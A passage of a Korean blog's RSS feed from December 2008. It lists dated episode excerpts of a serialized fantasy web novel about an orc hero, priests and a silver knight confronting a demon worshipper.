부드러움은 이미 사라져 있다. 잠깐의 침묵이 흐른다. [</description><pubDate>2008-12-14T08:06:00</pubDate></item><item><title>오크-침입한 악마의 숭배자 (1화)</title><link>http://glog15453.ijakga.com/70034.ilog</link><description> 침입자는 나의 두 배는 되어 보이는 덩치에 붉은 색 눈동자와 그리고 검은색 피부, 회색머리를 가지고 있다. 그의 피부가 검은 것은 어둠의 힘 때문일 것이라고 생각된다. 또한 온몸이 근육들이 잘 발달 되어 있다.</description><pubDate>2008-12-15T21:47:00</pubDate></item><item><title>오크-침입한 악바의 숭배자 (2화)</title><link>http://glog15453.ijakga.com/70035.ilog</link><description> [크크크. 제법이군. 하지만 이번에도 그렇게 막을 수 있을까?] 악마의 숭배자는 사악하게 웃는다. [덤벼보시지! 빛의 힘이 뭔지 보여줄 테니까.] 아더스는 다시금 전투적인 자세를 취한다.  악마의 숭배자는 아더스</description><pubDate>2008-12-15T21:48:00</pubDate></item><item><title>오크-침입한 악마의 숭배자 (3화)</title><link>http://glog15453.ijakga.com/70036.ilog</link><description> [피. 바로 이피야! 의식에 사용하는데 사제의 피만큼 좋은 건 없지.] 악마의 숭배자는 자신의 철퇴에 묻은 사제의 피를 검은 손으로 딱으며 말한다. [니 뜻대로 되리라고 섣불리 생각하지 마라.] 대사제는 상처 난 </description><pubDate>2008-12-15T21:49:00</pubDate></item><item><title>오크-침입한 악마의 숭배자 (4화)</title><link>http://glog15453.ijakga.com/70099.ilog</link><description> 악마의 숭배자는 아까전의 위협적인 자세는 어디갔는지 사라져버리고 힘없이 쓰러져 있다. 그야말로 빛의 힘의 위력을 제대로 실감하게 된 것이다. 왜 빛의 힘을 어둠을 사라지게 하는 힘이라고 하는지 알 것 같다.</description><pubDate>2008-12-16T10:17:00</pubDate></item><item><title>오크-침입한 악마의 숭배자 (5화)</title><link>http://glog15453.ijakga.com/70100.ilog</link><description> [동맹국의 기사단으로부터 연락이 왔습니다.] 사제 한명이 달려와서 아더스에게 말한다.  [연락 내용은요?] 아더스는 달려온 사제에게 물어본다. [기사단이 도착할 때까지 어둠의 숭배자의 사건 현장을 손상시키지 </description><pubDate>2008-12-16T10:18:00</pubDate></item><item><title>오크-침입한 악마의 숭배자 (6화)</title><link>http://glog15453.ijakga.com/70101.ilog</link><description> [나는 정말 괜찮단다.] [이번엔 제말을 들으세요. 어서요!] 에린은 대사제의 팔을 잡아 끌고서는 신전 안으로 들어간다. 나만 홀로 남겨진채로. 또 다시 외로움이 밀려온다. 사랑하는 여자가 남자의 팔을 잡아끌면</description><pubDate>2008-12-16T10:18:00</pubDate></item><item><title>오크-침입한 악마의 숭배자 (7화)</title><link>http://glog15453.ijakga.com/70281.ilog</link><description> [빛의 힘으로 악마의 숭배자를 원래 상태로 되돌릴 수도 있나요?] [그럼요, 악마의 숭배자도 자신의 모든 정신이 어둠의 힘으로 물든 건 아니니까요 다만 잘못된 선택을 했을 뿐이죠.] 사제의 이야기는 계속된다. [</description><pubDate>2008-12-17T19:16:00</pubDate></item><item><title>오크-침입한 악마의 숭배자 (8화)</title><link>http://glog15453.ijakga.com/70282.ilog</link><description> [빛의 힘으로 악마의 숭배자를 원래 상태로 되돌릴 수도 있나요?] [그럼요, 악마의 숭배자도 자신의 모든 정신이 어둠의 힘으로 물든 건 아니니까요 다만 잘못된 선택을 했을 뿐이죠.] 사제의 이야기는 계속된다. [</description><pubDate>2008-12-17T19:16:00</pubDate></item><item><title>오크-다시 만난 은색기사 (1화)</title><link>http://glog15453.ijakga.com/70283.ilog</link><description> [어쩐 일이시죠?] 나는 그때 은색기사가 나를 붙잡았던 기억 때문에 쌀쌀 맞게 대한다. [악마의 숭배자가 나타났는데, 내가 오는 게 당연 하잖아. 이래뵈도 나는 동맹국을 대표해서 온 거라구.] [내가 다시 채포 되</description><pubDate>2008-12-17T19:17:00</pubDate></item><item><title>오크-다시 만난 은색기사 (2화)</title><link>http://glog15453.ijakga.com/70284.ilog</link><description> [알겠어요. 대답하고 말 것도 없어요! 그냥 정말로 단순한 여행이에요. 대륙을 구경하고 싶어서 하는 여행일 뿐이라구요. 그리고 그녀는 그런 나를 안내해 주는 것뿐이고.] 나는 은색기사에게 돌려서 말한다. 거짓</description><pubDate>2008-12-17T19:18:00</pubDate></item><item><title>오크-다시 만난 은색기사 (3화)</title><link>http://glog15453.ijakga.com/70468.ilog</link><description> [다른 사제도 많은데 왜 꼭 내가 가야 하죠?] [말했잖아요, 우린 친분이 있으니까.] 로베러스는 우리가 친한 것처럼 말한다.  친분이라니? 그 친분이라는 말이 더 이상 달갑게 들리지 않는다. 내 쪽에서는 별로 좋</description><pubDate>2008-12-18T23:37:00</pubDate></item><item><title>오크-다시 만난 은색기사 (4화)</title><link>http://glog15453.ijakga.com/70469.ilog</link><description> [대사제는 어디 있죠?] 은색기사는 우리에게 다시 물어본다. 은색기사는 우리가 당황하는 것을 보고 굳이 우리의 대답을 듣지 않아도 된다는 듯이 우리에게 대사제가 있는 곳을 묻는다. [이쪽으로 오세요] 그녀도 </description><pubDate>2008-12-18T23:37:00</pubDate></item><item><title>오크-다시 만난 은색기사 (5화)</title><link>http://glog15453.ijakga.com/70470.ilog</link><description> [꽤 넓은 치료실인 것 같아.] 나는 에린에게 말한다. [응, 많은 환자들이 이곳에 와서 치료를 받고 있어. 그리고 모든 사람들에게 개방되어 있기 때문에 누구든지 아픈 사람이라면 이곳에서 치료를 받을 수 있지.] </description><pubDate>2008-12-18T23:37:00</pubDate></item><item><title>오크-악마의 숭배자의 정체 (1화)</title><link>http://glog15453.ijakga.com/71098.ilog</link><description> 로베러스는 그렇게 말하며 자신의 옷 뒤편의 주머니 속에서 목걸이 하나를 꺼낸다. 갈색의 정체를 알 수 없는 이상한 문양의 목걸이를 로베러스는 우리에게 보여준다. 로베러스의 손에 잡힌 목걸이의 문양에 대해선</description><pubDate>2008-12-20T07:23:00</pubDate></item><item><title>오크-악마의 숭배자의 정체 (2화)</title><link>http://glog15453.ijakga.com/71099.ilog</link><description> [예전에 저도 오우거를 본 적이 있는데, 그때 봤던 오우거와 아까 봤던 악마의 숭배자의 모습은 달랐어요. 피부와 생김새 모두가 달랐어요. 정말 악마의 숭배자가 오우거인가요?] 에린은 이상하다는 듯이 로베러스</description><pubDate>2008-12-20T07:24:00</pubDate></item><item><title>오크-악마의 숭배자의 정체 (3화)</title><link>http://glog15453.ijakga.com/71100.ilog</link><description> [나는 마을을 떠나 여행 중이라서 당분간 돌아가지 않을 생각이야, 미안하지만 같이 못가겠어.] 나는 로베러스에게 말한다.  [같은 종족이 악마의 숭배자가 되어서 쓰려졌는데, 가만히 모른 채 하겠다는 거야? 오우</description><pubDate>2008-12-20T07:24:00</pubDate></item><item><title>오크-악마의 숭배자의 정체 (4화)</title><link>http://glog15453.ijakga.com/71247.ilog</link><description> [너도 로베러스에 대해 잘 모르고 있잖니.] [그래도 우리가 피해야 될 상대라는 건 분명해요.] 아더스의 말에 에린은 자신의 주장이 맞다고 분명하게 말한다. [우리는 이 세계에 태어날 때 각자의 사명을 가지고 태</description><pubDate>2008-12-21T09:22:00</pubDate></item><item><title>오크-악마의 숭배자의 정체 (5화)</title><link>http://glog15453.ijakga.com/71248.ilog</link><description> [은색기사와 우리는 서로 결국엔 같은 목적의 달성을 위해 일한단다. 우리들이 충돌하는 것은 방법에서의 차이가 있기 때문이란다.] 아더스는 아주 진지한 목소리로 나에게 말한다. 그리고 그 말은 내 마음에 꽂힌</description><pubDate>2008-12-21T09:23:00</pubDate></item><item><title>오크-새로운 동료 (1화)</title><link>http://glog15453.ijakga.com/71249.ilog</link><description> 아더스는 계속해서 에린과 나에게 로베러스가 우리의 친구가 될 수도 있다는 것처럼 말한다. 아더스의 계속되는 권유에 에린도 수긍한다. 로베러스와 함께 여행한 것에 대해 동의하게 된 것이다. 그렇다면 나의 결</description><pubDate>2008-12-21T09:24:00</pubDate></item><item><title>오크-새로운 동료 (2화)</title><link>http://glog15453.ijakga.com/72080.ilog</link><description> [어쨋든 내일부터 시작이네, 내일을 위해 오늘은 푹 자둬야지. 그럼 난 가볼게.] [응, 잘자.] 에린은 자리에서 일어서며 나에게 인사를 건 낸 다음 방을 나간다. 나도 그 안사에 화답한다. 에린이 나간 뒤 나는 침</description><pubDate>2008-12-27T23:10:00</pubDate></item><item><title>오크-새로운 동료 (3화)</title><link>http://glog15453.ijakga.com/72081.ilog</link><description> [처음에는 단순히 마을을 떠나서 모험을 하고 싶은 마음과 우리 종족의 명예를 회복시켜보려는 생각으로 대륙에 오게 됐는데.] [지금은 그렇지 않은 가요?] 내 말이 채 끝나기 전에 아더스가 물어본다. [아니요. 물</description><pubDate>2008-12-27T23:11:00</pubDate></item><item><title>오크-새로운 동료 (4화)</title><link>http://glog15453.ijakga.com/72082.ilog</link><description> [그럼 역시 빛의 힘으로?] [네, 빛의 힘이라면 가능하겠죠. 하지만 상상을 넘어서는 아주 강력한 빛의 힘이 필요해요. 그런 빛의 힘을 쓸 수 있는 존재가 있는지 모르겠군요. 엘프족 대신전의 대신관님 조차 그런 </description><pubDate>2008-12-27T23:11:00</pubDate></item><item><title>오크-새로운 동료 (5화)</title><link>http://glog15453.ijakga.com/72623.ilog</link><description> [어떻게 그렇게 확신하죠?] [그냥 그런 느낌이 들어요.] 아더스가 나를 너무 좋은 쪽으로 보고 있다. [저를 너무 믿어 주시는 것 같네요. 정작 저는 제 스스로를 그렇게 생각하지 않는데...] [그럼 대신관님을 만나</description><pubDate>2008-12-31T14:44:00</pubDate></item><item><title>오크-새로운 동료 (6화)</title><link>http://glog15453.ijakga.com/72624.ilog</link><description> 평범해 보이지만 결코 평범하지 않다고? 아더스는 자신감을 잃어버리려고 하는 나에게 많은 용기를 준다. 나와 같은 초록색의 보석. 그리고 어둠의 힘을 마주하게 되면 그 위력을 발휘하는 보석. 그렇다면 나도 어</description><pubDate>2008-12-31T14:45:00</pubDate></item>

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